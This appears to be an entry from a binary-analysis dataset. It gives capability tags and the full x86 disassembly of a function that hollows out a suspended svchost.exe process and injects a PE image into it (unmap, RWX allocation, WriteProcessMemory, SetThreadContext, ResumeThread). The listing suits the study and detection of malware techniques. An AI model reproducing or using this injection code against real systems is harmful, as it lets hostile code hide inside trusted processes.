Function at 0x4109b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Parse pe header
Read file on windows
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x128
mov eax, dword [0x440008]
xor eax, esp
mov dword [esp + 0x124], eax
movups xmm0, xmmword [str.C:WindowsSystem32_svchost.exe]
push esi
push edi
movups xmmword [esp + 0x80], xmm0
mov ecx, 0x1a
mov esi, str.C:masm32examplesdialogs_later_basic_basicdlg.exe
movups xmm0, xmmword [0x43b258]
lea edi, [esp + 0xc0]
mov dword [esp + 8], 0
rep movsd dword es:[edi], dword [esi]
movups xmmword [esp + 0x90], xmm0
xor edi, edi
or eax, 0xffffffff
movups xmm0, xmmword [0x43b268]
mov dword [esp + 0x14], eax
mov ecx, 0x44
lea eax, [esp + 0x38]
movups xmmword [esp + 0xa0], xmm0
movups xmm0, xmmword [0x43b278]
movups xmmword [esp + 0xb0], xmm0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x410a35
mov ecx, 4
lea eax, [esp + 0x24]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x410a50
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push ecx
push 4
push ecx
push ecx
push ecx
push ecx
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x410a8e
mov ecx, str.CreateProcess
call fcn.00411970
jmp 0x410cea
push 4
push 0x1000
push 0x2cc
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [esp + 0x1c], edi
test edi, edi
jne 0x410abb
mov ecx, 0x43b30c
call fcn.00411970
jmp 0x410cea
push edi
mov dword [edi], 0x10007
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x410adf
mov ecx, 0x43b328
call fcn.00411970
jmp 0x410cea
mov eax, dword [edi + 0xa4]
push 0
push 4
push 0
add eax, 8
push eax
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0
push 4
push 0
push 0
push SysReAllocString
lea eax, [esp + 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x410b2e
mov ecx, str.CreateFile
call fcn.00411970
jmp 0x410cea
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x410b60
mov ecx, 0x43b364
call fcn.00411970
jmp 0x410cea
mov edx, dword [esp + 0x10]
mov ecx, edx
test edx, edx
je 0x410b7b
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x410b70
push 0
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x1c]
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x410cda
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [esp + 0xc], eax
cmp dword [eax], 0x4550
jne 0x410cda
lea ecx, [eax + 0x34]
mov dword [esp + 0x20], ecx
mov ecx, dword [ecx]
test ecx, ecx
jne 0x410be5
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push dword [esp + 0x28]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x34]
push 0x40
push 0x3000
push dword [eax + 0x50]
push ecx
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x10], eax
test eax, eax
jne 0x410c11
mov ecx, 0x43b138
call fcn.00411970
jmp 0x410cea
mov ecx, dword [esp + 0xc]
push 0
push dword [ecx + 0x54]
push esi
push eax
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0xc]
xor ecx, ecx
mov dword [esp + 8], 0
cmp cx, word [eax + 6]
jae 0x410c8c
mov dword [esp + 0x18], ecx
mov edi, eax
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + esi + 0x108]
mov eax, dword [ecx + esi + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x104]
add eax, dword [esp + 0x1c]
push eax
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x18]
inc edx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [esp + 8], edx
mov dword [esp + 0x18], ecx
cmp edx, eax
jl 0x410c40
mov edi, dword [esp + 0x1c]
mov eax, dword [edi + 0xa4]
push 0
push 4
push dword [esp + 0x28]
add eax, 8
push eax
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0xc]
push edi
mov eax, dword [ecx + 0x28]
add eax, dword [esp + 0x14]
mov dword [edi + 0xb0], eax
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esp + 8], ecx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x410cfb
push eax
call esi
mov eax, dword [esp + 0x24]
test eax, eax
je 0x410d06
push eax
call esi
test edi, edi
je 0x410d18
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [esp + 0x14]
cmp eax, 0xffffffff
je 0x410d24
push eax
call esi
mov ecx, dword [esp + 0x12c]
mov eax, dword [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.0041396d
mov esp, ebp
pop ebp
ret